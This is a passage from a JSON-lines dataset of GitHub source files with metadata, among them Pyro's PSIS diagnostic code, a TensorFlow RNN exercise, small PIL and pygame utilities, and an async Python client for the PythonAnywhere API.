wd,\n [site[\"packed\"][\"log_prob\"]],\n )\n\n if normalized:\n log_weights = log_weights - torch.logsumexp(log_weights)\n return log_weights, model_trace, guide_trace\n\n\n@torch.no_grad()\ndef psis_diagnostic(model, guide, *args, **kwargs):\n \"\"\"\n Computes the Pareto tail index k for a model/guide pair using the technique\n described in [1], which builds on previous work in [2]. If :math:`0 < k < 0.5`\n the guide is a good approximation to the model posterior, in the sense\n described in [1]. If :math:`0.5 \\\\le k \\\\le 0.7`, the guide provides a suboptimal\n approximation to the posterior, but may still be useful in practice. If\n :math:`k > 0.7` the guide program provides a poor approximation to the full\n posterior, and caution should be used when using the guide. Note, however,\n that a guide may be a poor fit to the full posterior while still yielding\n reasonable model predictions. If :math:`k < 0.0` the importance weights\n corresponding to the model and guide appear to be bounded from above; this\n would be a bizarre outcome for a guide trained via ELBO maximization. Please\n see [1] for a more complete discussion of how the tail index k should be\n interpreted.\n\n Please be advised that a large number of samples may be required for an\n accurate estimate of k.\n\n Note that we assume that the model and guide are both vectorized and have\n static structure. As is canonical in Pyro, the args and kwargs are passed\n to the model and guide.\n\n References\n [1] 'Yes, but Did It Work?: Evaluating Variational Inference.'\n Yuling Yao, Aki Vehtari, Daniel Simpson, Andrew Gelman\n [2] 'Pareto Smoothed Importance Sampling.'\n Aki Vehtari, Andrew Gelman, Jonah Gabry\n\n :param callable model: the model program.\n :param callable guide: the guide program.\n :param int num_particles: the total number of times we run the model and guide in\n order to compute the diagnostic. defaults to 1000.\n :param max_simultaneous_particles: the maximum number of simultaneous samples drawn\n from the model and guide. defaults to `num_particles`. `num_particles` must be\n divisible by `max_simultaneous_particles`. compute the diagnostic. defaults to 1000.\n :param int max_plate_nesting: optional bound on max number of nested :func:`pyro.plate`\n contexts in the model/guide. defaults to 7.\n :returns float: the PSIS diagnostic k\n \"\"\"\n\n num_particles = kwargs.pop(\"num_particles\", 1000)\n max_simultaneous_particles = kwargs.pop(\"max_simultaneous_particles\", num_particles)\n max_plate_nesting = kwargs.pop(\"max_plate_nesting\", 7)\n\n if num_particles % max_simultaneous_particles != 0:\n raise ValueError(\n \"num_particles must be divisible by max_simultaneous_particles.\"\n )\n\n N = num_particles // max_simultaneous_particles\n log_weights = [\n vectorized_importance_weights(\n model,\n guide,\n num_samples=max_simultaneous_particles,\n max_plate_nesting=max_plate_nesting,\n *args,\n **kwargs,\n )[0]\n for _ in range(N)\n ]\n log_weights = torch.cat(log_weights)\n log_weights -= log_weights.max()\n log_weights = torch.sort(log_weights, descending=False)[0]\n\n cutoff_index = (\n -int(math.ceil(min(0.2 * num_particles, 3.0 * math.sqrt(num_particles)))) - 1\n )\n lw_cutoff = max(math.log(1.0e-15), log_weights[cutoff_index])\n lw_tail = log_weights[log_weights > lw_cutoff]\n\n if len(lw_tail) < 10:\n warnings.warn(\n \"Not enough tail samples to compute PSIS diagnostic; increase num_particles.\"\n )\n k = float(\"inf\")\n else:\n k, _ = fit_generalized_pareto(lw_tail.exp() - math.exp(lw_cutoff))\n\n return k\n", "repo_name": "pyro-ppl/pyro", "sub_path": "pyro/infer/importance.py", "file_name": "importance.py", "file_ext": "py", "file_size_in_byte": 9612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8201, "dataset": "github-code", "pt": "86", "api": [{"api_name": "abstract_infer.TracePosterior", "line_number": 14, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 32, "usage_type": "call"}, {"api_name": "pyro.poutine.block", "line_number": 37, "usage_type": "call"}, {"api_name": "pyro.poutine", "line_number": 37, "usage_type": "name"}, {"api_name": "pyro.poutine.trace", "line_number": 47, "usage_type": "call"}, {"api_name": "pyro.poutine", "line_number": 47, "usage_type": "name"}, {"api_name": "pyro.poutine.trace", "line_number": 48, "usage_type": "call"}, {"api_name": "pyro.poutine", "line_number": 48, "usage_type": "name"}, {"api_name": "pyro.poutine.replay", "line_number": 49, "usage_type": "call"}, {"api_name": "pyro.poutine", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.logsumexp", "line_number": 63, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.logsumexp", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 76, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.logsumexp", "line_number": 88, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 90, "usage_type": "call"}, {"api_name": "pyro.plate", "line_number": 125, "usage_type": "call"}, {"api_name": "enum.get_importance_trace", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.logsumexp", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.sort", "line_number": 230, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 233, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 233, "usage_type": "call"}, {"api_name": "math.log", "line_number": 235, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 239, "usage_type": "call"}, {"api_name": "pyro.ops.stats.fit_generalized_pareto", "line_number": 244, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 244, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 165, "usage_type": "call"}]} +{"seq_id": "31238041499", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport data.load as load\nimport numpy as np\nfrom functools import reduce\n\n\ntrain_set, valid_set, test_set, dic = load.atisfold(3)\nidx2label = dict((v,k) for k,v in dic['labels2idx'].items())\nidx2word = dict((v,k) for k,v in dic['words2idx'].items())\n\ntrain_lex, train_ne, train_y = train_set\nvalid_lex, valid_ne, valid_y = valid_set\ntest_lex, test_ne, test_y = test_set\n\nsent = train_lex[0]\nprint(list(map(lambda x: idx2word[x], sent)))\n\nvocsize = len(set(reduce(lambda x, y: list(x)+list(y),\n train_lex+valid_lex+test_lex)))\n\nnclasses = len(set(reduce(lambda x, y: list(x)+list(y),\n train_y+valid_y+test_y)))\n\nnsentences = len(train_lex)\n\nprint(\"vocsize: %d, # of classes: %d, # of sentences: %d\" % (vocsize, nclasses, nsentences))\n\n\ndef context_window(sentence, width=3):\n \"\"\"\n window: int corresponding to the size of the window\n given a list of indexes composing a sentence\n\n :sentence: array containing the word indexes\n :width: window width\n :returns: return a list of list of indexes corresponding\n to context windows surrounding each word in the sentence\n \"\"\"\n assert((width % 2) == 1)\n assert(width >= 1)\n l = list(sentence)\n\n lpadded = (width // 2) * [-1] + l + (width // 2) * [-1]\n out = [lpadded[i:(i + width)] for i in range(len(l))]\n return out\n\n\nimport tensorflow as tf\n\n\n# nv: number of vocaburary\n# de: dimension of word embedding\n# cs: context of window size\nnv, de, cs = 1000, 50, 5\n\n# inputs and outputs\ninput_x = tf.placeholder(tf.int32, [None, sequence_len])\n\n# word embedding\nwith tf.device('/cpu:0'), tf.name_scope(\"embedding\"):\n W = tf.Variable(tf.random_uniform([nv, de], -1.0, 1.0), name='W')\n embedded_chars = tf.nn.embedding_lookup(W, input_x)\n", "repo_name": "ChuyuHsu/tensorflow-rnn-practice", "sub_path": "rnn.py", "file_name": "rnn.py", "file_ext": "py", "file_size_in_byte": 1827, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "data.load.atisfold", "line_number": 8, "usage_type": "call"}, {"api_name": "data.load", "line_number": 8, "usage_type": "name"}, {"api_name": "functools.reduce", "line_number": 19, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 58, "usage_type": "attribute"}, {"api_name": "tensorflow.device", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 63, "usage_type": "attribute"}]} +{"seq_id": "4645024372", "text": "import requests\nimport json\n\ndef verify_address(address):\n\n # Get address id from SmartyStreets\n AddressServiceEndpoint = 'https://2bdd302ncj.execute-api.us-east-1.amazonaws.com/dev/AddressService'\n\n required = {\"state\", \"city\", \"street\"}\n address = { key: address[key] for key in required }\n\n rsp = requests.post(AddressServiceEndpoint, data = json.dumps(address))\n\n if rsp.status_code != 201:\n return None\n else:\n return rsp.json()", "repo_name": "SidBambah/Microservices_Cloud_Native_Applications", "sub_path": "Middleware/address_service_connection.py", "file_name": "address_service_connection.py", "file_ext": "py", "file_size_in_byte": 468, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.post", "line_number": 12, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "42151495302", "text": "import os\nfrom PIL import Image\ncwd = os.getcwd()\n# def convert(width,height):\n# img_name = cwd+'/2 in1 mixer.png'\n\n# im = Image.open(img_name)\n# out = im.resize((width, height),Image.ANTIALIAS)\n# new_name = img_name.split('.')[0]+'_new'+'.png'\n# out.save(new_name) \n# print('ok')\n\n# convert(610,610)\n\nfrom PIL import Image, ImageChops, ImageOps\n\ndef makeThumb(f_in, f_out, size=(610,610), pad=False):\n image = Image.open(f_in)\n image.thumbnail(size, Image.ANTIALIAS)\n image_size = image.size\n\n if pad:\n thumb = image.crop( (0, 0, size[0], size[1]) )\n\n offset_x = int(max( (size[0] - image_size[0]) / 2, 0 ))\n offset_y = int(max( (size[1] - image_size[1]) / 2, 0 ))\n\n thumb = ImageChops.offset(thumb, offset_x, offset_y)\n print('ok')\n\n else:\n thumb = ImageOps.fit(image, size, Image.ANTIALIAS, (0.5, 0.5))\n\n thumb.save(f_out)\n\n\n\nfor file in os.listdir(cwd):\n print(file)\n \n if (file.endswith('.png')):\n source = file\n paddeed = source.split('.')[0]+'_new_pad'+'.png'\n centerCrop = source.split('.')[0]+'_new_centerCropped.JPG'+'.png'\n makeThumb(source, paddeed, pad=True)\n print('ok')\n", "repo_name": "Prem-Neupane/pythonFundamentals", "sub_path": "resize pictures.py", "file_name": "resize pictures.py", "file_ext": "py", "file_size_in_byte": 1214, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.getcwd", "line_number": 3, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 18, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 19, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 19, "usage_type": "name"}, {"api_name": "PIL.ImageChops.offset", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.ImageChops", "line_number": 28, "usage_type": "name"}, {"api_name": "PIL.ImageOps.fit", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.ImageOps", "line_number": 32, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 32, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 32, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 38, "usage_type": "call"}]} +{"seq_id": "30976492859", "text": "import pygame\n\n\nclass Text:\n def __init__(self, surface, word, font, size, color, pos=(0,0), direction = \"center\"):\n self.surface = surface\n self.font = font\n self.size = size\n self.color = color\n self.word = word\n self.pos = pos\n self.direction = direction\n \n \"\"\"method for define text object\n https://www.youtube.com/playlist?list=PLQVvvaa0QuDdLkP8MrOXLe_rKuf6r80KO\n reference\"\"\"\n def text_objects(self, text, font):\n textSurface = font.render(text, True, self.color)\n return textSurface, textSurface.get_rect()\n\n \"\"\"Create method for write text on button\"\"\"\n def write(self):\n loadFont = pygame.font.SysFont(\"Courier New\", self.size)\n textSurface, textRect = self.text_objects(self.word, loadFont)\n if self.direction == \"center\":\n textRect.center = (self.pos)\n elif self.direction == \"left\":\n textRect.left = (self.pos[0])\n textRect.top = (self.pos[1])\n elif self.direction == \"right\":\n textRect.right = (self.pos[0])\n textRect.top = (self.pos[1])\n self.surface.blit(textSurface, textRect)\n\n\n", "repo_name": "wawarin/Calculator", "sub_path": "Text.py", "file_name": "Text.py", "file_ext": "py", "file_size_in_byte": 1191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pygame.font.SysFont", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 23, "usage_type": "attribute"}]} +{"seq_id": "35349967487", "text": "# Standard library imports\n\nimport asyncio\nimport json\n\nfrom typing import AsyncIterator, Optional, TextIO, Union, Any\n\n# Related third party imports\n\nimport aiohttp\n\n# Local application/library specific imports\n\nfrom .console import Console\nfrom .file import File\nfrom .sched_task import SchedTask\nfrom .always_on_task import AlwaysOnTask\nfrom .webapp import WebApp\nfrom .errors import raise_error\nfrom .utils import Cache\n\n\nasync def _parse_json(\n resp: aiohttp.ClientResponse, return_json: bool\n) -> Union[dict, aiohttp.ClientResponse]:\n \"\"\"Parse the JSON and raise errors.\"\"\"\n if not return_json:\n return resp\n\n jsoned = await resp.json(content_type=None)\n\n if jsoned:\n for key in (\"detail\", \"error\", \"error_message\", \"non_field_errors\"):\n if key in jsoned:\n raise_error((resp.status, jsoned[key]))\n\n return jsoned\n\n\nclass User:\n \"\"\"\n The brain of the operation. All modules are connected to this class in one way or another.\n\n Constructors:\n `User.create_console`;`User.get_console_by_id`;`User.consoles()` -> **Console**\n\n `User.get_file_by_path`;`User.create_file` -> **File**\n\n `User.tasks`;`User.get_sched_task_by_id`;`User.create_sched_task` -> **SchedTask**\n\n `User.tasks`;`User.create_always_on_task`;`User.get_always_on_task_by_id` -> **AlwaysOnTask**\n\n `User.get_webapp_by_domain_name`;`User.webapps`;`User.create_webapp` -> **WebApp**\n \"\"\"\n\n def __init__(\n self,\n username: str,\n auth: str,\n async_session: aiohttp.ClientSession = None,\n from_eu: bool = False,\n ) -> None:\n \"\"\"\n Args:\n username (str): Username of the account\n auth (str): API token of the account\n from_eu (bool): Whether you are from europe or not, because European accounts API URL is different\n \"\"\"\n self.use_cache = True\n self.cache = Cache()\n\n self.from_eu = from_eu\n self.username = username\n self.token = auth\n\n self.session = async_session\n self.sem = asyncio.Semaphore(10)\n self.lock = asyncio.Lock()\n\n self.headers = {\"Authorization\": f\"Token {self.token}\"}\n self.request_url = (\n \"https://www.pythonanywhere.com\"\n if not self.from_eu\n else \"https://eu.pythonanywhere.com\"\n )\n\n if len(self.token) != 40:\n raise_error((401, \"Invalid token.\"))\n\n async def request(\n self, method: str, url: str, return_json: bool = False, **kwargs\n ) -> Any:\n \"\"\"Request function for the module\"\"\"\n\n if not self.session:\n self.session = aiohttp.ClientSession()\n\n async with self.sem:\n resp = await self.session.request(\n method=method,\n url=self.request_url + url,\n headers=self.headers,\n **kwargs,\n )\n return await _parse_json(resp, return_json)\n\n async def get_cpu_info(self) -> dict:\n \"\"\"\n Gets CPU information.\n\n Returns:\n dict: dictionary that contains relevant information (next_reset_time, time_left, time_left_untiL_reset)\n \"\"\"\n return await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/cpu/\", return_json=True\n )\n\n async def shared_consoles(self) -> list[Console]:\n \"\"\"\n Return shared consoles for the user. This is not being cached because shared consoles are accessed by several\n people therefore, it's likely that the cache will be inaccurate.\n\n Returns:\n list[Console]: list of shared consoles\n \"\"\"\n return [\n Console(console, self)\n for console in await self.request(\n \"GET\",\n f\"/api/v0/user/{self.username}/consoles/shared_with_you/\",\n return_json=True,\n )\n ]\n\n async def consoles(self) -> list[Console]:\n \"\"\"\n Return a list of personal consoles for the user.\n\n Returns:\n list[Console]: list of shared personal consoles\n \"\"\"\n consoles = await self.cache.all(\"console\") or [\n Console(console, self)\n for console in await self.request(\n \"GET\",\n f\"/api/v0/user/{self.username}/consoles//\",\n return_json=True,\n )\n ]\n await self.cache.set(\"console\", object_=consoles, allow_all_usage=True)\n\n return consoles\n\n async def get_console_by_id(self, id_: int) -> Console:\n \"\"\"Get a console by its id.\"\"\"\n console = await self.cache.get(\"console\", id_=id_) or Console(\n await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/consoles/{id_}\", return_json=True\n ),\n self,\n )\n await self.cache.set(\"console\", object_=console)\n\n return console\n\n async def create_console(\n self, executable: str, workingdir: str = None, arguments: str = \"\"\n ) -> Optional[Console]:\n \"\"\"\n Creates a console. Console must be started upon creation to send input to it.\n\n Args:\n executable (str): executable for the console to use (example python3.8)\n workingdir (str): console arguments\n arguments (str): working directory for console\n\n Examples:\n >>> user = User(...)\n >>> await user.create_console('python3.8')\n\n Returns:\n Optional[Console]: console object, console sucessfully created or None if console limit was hit\n \"\"\"\n url = f\"/api/v0/user/{self.username}/consoles/\"\n\n try:\n resp = await self.request(\n \"POST\",\n url,\n return_json=True,\n data={\n \"executable\": executable,\n \"arguments\": arguments,\n \"working_directory\": workingdir,\n },\n )\n except json.decoder.JSONDecodeError:\n raise_error((429, \"Console limit reached.\"))\n\n # noinspection PyUnboundLocalVariable\n console = Console(resp, self)\n await self.cache.set(\"console\", object_=console)\n\n return console\n\n async def listdir(\n self, path: str, recursive: bool = False, only_subdirectories: bool = True\n ) -> AsyncIterator[str]:\n \"\"\"\n List dir that crawls into dirs (if recursive is set to true), if not, list files and sub-dirs in a directory.\n\n Args:\n path (str): path to be \"searched\" for files / subdirs\n recursive (bool): option whether subdirs and subdirs inside should be searched and so-on\n only_subdirectories (bool): self explanatory\n\n Examples:\n >>> user = User(...)\n >>> async for await user.listdir('/home/yourname/my_site/', recursive=True)\n\n Returns:\n AsyncIterator[str]: generator with paths\n \"\"\"\n resp = await self.request(\n \"GET\",\n f\"/api/v0/user/{self.username}/files/tree/?path={path}\",\n return_json=True,\n )\n\n if not recursive:\n yield resp\n return\n\n for path in resp:\n if path.endswith(\"/\"):\n async for item in self.listdir(path, True, not only_subdirectories):\n yield item\n await asyncio.sleep(0)\n elif only_subdirectories:\n yield path\n await asyncio.sleep(0)\n\n async def get_file_by_path(self, path: str) -> File:\n \"\"\"\n Function to get a file. Does not error if not found.\n\n Args:\n path (str): path to the file\n\n Returns:\n File: File class (see pyaww.file)\n \"\"\"\n return File(path, self)\n\n async def create_file(self, path: str, file: TextIO) -> File:\n \"\"\"\n Create or update a file at a path.\n\n Args:\n path (str): path as to where the file shall be created (must include name + file extension in path)\n file (TextIO): file to be created / updated\n\n Examples:\n >>> user = User(...)\n >>> with open('./grocery_list.txt') as f:\n >>> await user.create_file('/home/yourname/grocery_list.txt', f)\n \"\"\"\n await self.request(\n \"POST\",\n f\"/api/v0/user/{self.username}/files/path/{path}\",\n return_json=True,\n data={\"content\": file},\n )\n\n return File(path, self)\n\n async def students(self) -> dict:\n \"\"\"List students of the user.\"\"\"\n return await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/students/\", return_json=True\n )\n\n async def remove_student(self, student: str) -> None:\n \"\"\"Remove a student from the students list.\"\"\"\n try:\n await self.request(\n \"DELETE\", f\"/api/v0/user/{self.username}/students/{student}\"\n )\n except json.decoder.JSONDecodeError:\n pass\n\n async def always_on_tasks(self) -> list[AlwaysOnTask]:\n \"\"\"Get always on tasks\"\"\"\n always_on = await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/always_on\", return_json=True\n )\n\n return [AlwaysOnTask(i, self) for i in always_on]\n\n async def scheduled_tasks(self) -> list[SchedTask]:\n \"\"\"Get scheduled tasks.\"\"\"\n sched_tasks = await self.cache.all(\"sched_task\") or [\n SchedTask(sched_task, self)\n for sched_task in await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/schedule/\", return_json=True\n )\n ]\n await self.cache.set(\"sched_task\", object_=sched_tasks, allow_all_usage=True)\n\n return sched_tasks\n\n async def get_sched_task_by_id(self, id_: int) -> SchedTask:\n \"\"\"Get a scheduled task via it's id.\"\"\"\n sched_task = await self.cache.get(\"sched_task\", id_=id_) or SchedTask(\n await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/schedule/{id_}/\", return_json=True\n ),\n self,\n )\n await self.cache.set(\"sched_task\", object_=sched_task)\n\n return sched_task\n\n async def create_sched_task(\n self,\n command: str,\n minute: str,\n hour: str,\n interval: str = \"daily\",\n enabled: bool = True,\n description: str = \"\",\n ) -> SchedTask:\n \"\"\"\n Create a scheduled task. All times are in UTC.\n\n Args:\n command (str): command to be executed every x time\n minute (str): minute: minute when the task should be executed\n hour (str): hour when the task should be executed\n interval (str): frequency the task should happen (example, daily)\n enabled (bool): option as to whether the task should be enabled\n description (str): description of the task\n\n Examples:\n >>> user = User(...)\n >>> await user.create_sched_task('cmd', '5', '5', 'daily', False, 'do \"cmd\"')\n\n Returns:\n SchedTask\n \"\"\"\n sched_task = SchedTask(\n await self.request(\n \"POST\",\n f\"/api/v0/user/{self.username}/schedule/\",\n return_json=True,\n data={\n \"command\": command,\n \"enabled\": enabled,\n \"interval\": interval,\n \"hour\": hour,\n \"minute\": minute,\n \"description\": description,\n },\n ),\n self,\n )\n await self.cache.set(\"sched_task\", object_=sched_task)\n\n return sched_task\n\n async def create_always_on_task(\n self, command: str, description: str = \"\", enabled: bool = True\n ) -> AlwaysOnTask:\n \"\"\"\n Creates a always_on task, do not confuse it with a scheduled task.\n\n Args:\n command (str): command to be executed\n description (str): description of the task\n enabled (bool): whether the task should be enabled upon creation\n\n Examples:\n >>> user = User(...)\n >>> await user.create_always_on_task('/home/yourname/myscript.py', 'Scrape a website', True)\n\n Returns:\n AlwaysOnTask\n \"\"\"\n data = {\"command\": command, \"description\": description, \"enabled\": enabled}\n\n resp = await self.request(\n \"POST\",\n f\"/api/v0/user/{self.username}/always_on/\",\n return_json=True,\n data=data,\n )\n return AlwaysOnTask(resp, self)\n\n async def get_always_on_task_by_id(self, id_: int) -> AlwaysOnTask:\n \"\"\"Gets an always_on task.\"\"\"\n resp = await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/always_on/{id_}/\", return_json=True\n )\n return AlwaysOnTask(resp, self)\n\n async def python_versions(self) -> list:\n \"\"\"Get all 3 (\"python3\", \"python\" and \"run button\") versions.\"\"\"\n return [\n await self.request(\n \"GET\",\n f\"/api/v0/user/{self.username}/default_python3_version/\",\n return_json=True,\n ),\n await self.request(\n \"GET\",\n f\"/api/v0/user/{self.username}/default_python_version/\",\n return_json=True,\n ),\n await self.request(\n \"GET\",\n f\"/api/v0/user/{self.username}/default_save_and_run_python_version/\",\n return_json=True,\n ),\n ]\n\n async def set_python_version(self, version: float, command: str) -> None:\n \"\"\"\n Set default python version.\n\n Args:\n version (float): version to be set\n command (str): takes \"python3\", \"python\" and/or \"save_and_run_python\"\n\n Examples:\n >>> user = User(...)\n >>> user.set_python_version(3.8, 'python3')\n \"\"\"\n await self.request(\n \"PATCH\",\n f\"/api/v0/user/{self.username}/default_{command}_version/\",\n data={f\"default_{command}_version\": version},\n )\n\n async def get_system_image(self) -> dict:\n \"\"\"\n Get the current system image.\n\n The system image for your account determines the versions of Python that you can use and the packages that\n are pre-installed.\n \"\"\"\n return await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/system_image/\", return_json=True\n )\n\n async def set_system_image(self, system_image: str) -> None:\n \"\"\"\n Set the system image. Please see https://help.pythonanywhere.com/pages/ChangingSystemImage for the table.\n\n Args:\n system_image (str): system image to be set\n \"\"\"\n await self.request(\n \"PATCH\",\n f\"/api/v0/user/{self.username}/system_image/\",\n data={\"system_image\": system_image},\n )\n\n async def get_webapp_by_domain_name(self, domain_name: str) -> WebApp:\n \"\"\"Get a webapp via its domain.\"\"\"\n resp = await self.request(\n \"GET\",\n f\"/api/v0/user/{self.username}/webapps/{domain_name}/\",\n return_json=True,\n )\n return WebApp(resp, self)\n\n async def webapps(self) -> list[WebApp]:\n \"\"\"Get webapps for the user.\"\"\"\n resp = await self.request(\n \"GET\", f\"/api/v0/user/{self.username}/webapps/\", return_json=True\n )\n return [WebApp(i, self) for i in resp]\n\n async def create_webapp(self, domain_name: str, python_version: str) -> WebApp:\n \"\"\"\n Creata a webapp.\n\n Args:\n domain_name (str): domain name of the webapp\n python_version (str): python version for the webapp to use (ex: python37 which stands for python 3.7)\n\n Examples:\n >>> user = User(...)\n >>> await user.create_webapp('username.pythonanywhere.com', 'python39')\n\n Returns:\n WebApp\n \"\"\"\n data = {\"domain_name\": domain_name, \"python_version\": python_version}\n\n await self.request(\n \"POST\",\n f\"/api/v0/user/{self.username}/webapps/\",\n return_json=True,\n data=data,\n ) # does not return all the necessary data for pyaww.WebApps init\n return await self.get_webapp_by_domain_name(domain_name=domain_name)\n\n async def __aenter__(self):\n return self\n\n async def __aexit__(self, exc_type, exc_val, exc_tb):\n await self.session.close()\n\n def __str__(self):\n return str(self.headers)\n\n def __eq__(self, other):\n return self.headers == getattr(other, \"headers\", None)\n\n def __copy__(self) -> \"User\":\n return User(\n username=self.username,\n auth=self.headers[\"Authorization\"].split(\"Token \")[1],\n )\n", "repo_name": "ammarsys/pyaww", "sub_path": "pyaww/user.py", "file_name": "user.py", "file_ext": "py", "file_size_in_byte": 17012, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "86", "api": [{"api_name": "aiohttp.ClientResponse", "line_number": 24, "usage_type": "attribute"}, {"api_name": "errors.raise_error", "line_number": 35, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 25, "usage_type": "name"}, {"api_name": "aiohttp.ClientResponse", "line_number": 25, "usage_type": "attribute"}, {"api_name": "aiohttp.ClientSession", "line_number": 60, "usage_type": "attribute"}, {"api_name": "utils.Cache", "line_number": 70, "usage_type": "call"}, {"api_name": "asyncio.Semaphore", "line_number": 77, "usage_type": "call"}, {"api_name": "asyncio.Lock", "line_number": 78, "usage_type": "call"}, {"api_name": "errors.raise_error", "line_number": 88, "usage_type": "call"}, {"api_name": "aiohttp.ClientSession", "line_number": 96, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 92, "usage_type": "name"}, {"api_name": "console.Console", "line_number": 127, "usage_type": "call"}, {"api_name": "console.Console", "line_number": 118, "usage_type": "name"}, {"api_name": "console.Console", "line_number": 143, "usage_type": "call"}, {"api_name": "console.Console", "line_number": 135, "usage_type": "name"}, {"api_name": "console.Console", "line_number": 156, "usage_type": "call"}, {"api_name": "console.Console", "line_number": 154, "usage_type": "name"}, {"api_name": "json.decoder", "line_number": 197, "usage_type": "attribute"}, {"api_name": "errors.raise_error", "line_number": 198, "usage_type": "call"}, {"api_name": "console.Console", "line_number": 201, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 168, "usage_type": "name"}, {"api_name": "console.Console", "line_number": 168, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 238, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 241, "usage_type": "call"}, {"api_name": "typing.AsyncIterator", "line_number": 208, "usage_type": "name"}, {"api_name": "file.File", "line_number": 253, "usage_type": "call"}, {"api_name": "file.File", "line_number": 243, "usage_type": "name"}, {"api_name": "typing.TextIO", "line_number": 255, "usage_type": "name"}, {"api_name": "file.File", "line_number": 275, "usage_type": "call"}, {"api_name": "file.File", "line_number": 255, "usage_type": "name"}, {"api_name": "json.decoder", "line_number": 289, "usage_type": "attribute"}, {"api_name": "always_on_task.AlwaysOnTask", "line_number": 298, "usage_type": "call"}, {"api_name": "always_on_task.AlwaysOnTask", "line_number": 292, "usage_type": "name"}, {"api_name": "sched_task.SchedTask", "line_number": 303, "usage_type": "call"}, {"api_name": "sched_task.SchedTask", "line_number": 300, "usage_type": "name"}, {"api_name": "sched_task.SchedTask", "line_number": 314, "usage_type": "call"}, {"api_name": "sched_task.SchedTask", "line_number": 312, "usage_type": "name"}, {"api_name": "sched_task.SchedTask", "line_number": 351, "usage_type": "call"}, {"api_name": "sched_task.SchedTask", "line_number": 332, "usage_type": "name"}, {"api_name": "always_on_task.AlwaysOnTask", "line_number": 397, "usage_type": "call"}, {"api_name": "always_on_task.AlwaysOnTask", "line_number": 373, "usage_type": "name"}, {"api_name": "always_on_task.AlwaysOnTask", "line_number": 404, "usage_type": "call"}, {"api_name": "always_on_task.AlwaysOnTask", "line_number": 399, "usage_type": "name"}, {"api_name": "webapp.WebApp", "line_number": 475, "usage_type": "call"}, {"api_name": "webapp.WebApp", "line_number": 468, "usage_type": "name"}, {"api_name": "webapp.WebApp", "line_number": 482, "usage_type": "call"}, {"api_name": "webapp.WebApp", "line_number": 477, "usage_type": "name"}, {"api_name": "webapp.WebApp", "line_number": 484, "usage_type": "name"}]} +{"seq_id": "19232270338", "text": "from datetime import datetime\n\nimport uvicorn\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\n\nfrom app.db.connections import close_postgre, get_redis, close_redis, connect_db\nfrom system_config import system_config\nfrom app.routes import users, auth, companies, company_actions, quiz_routes, quiz_statistics, notifications\nfrom app.tasks.tasks import scheduler\n\napp = 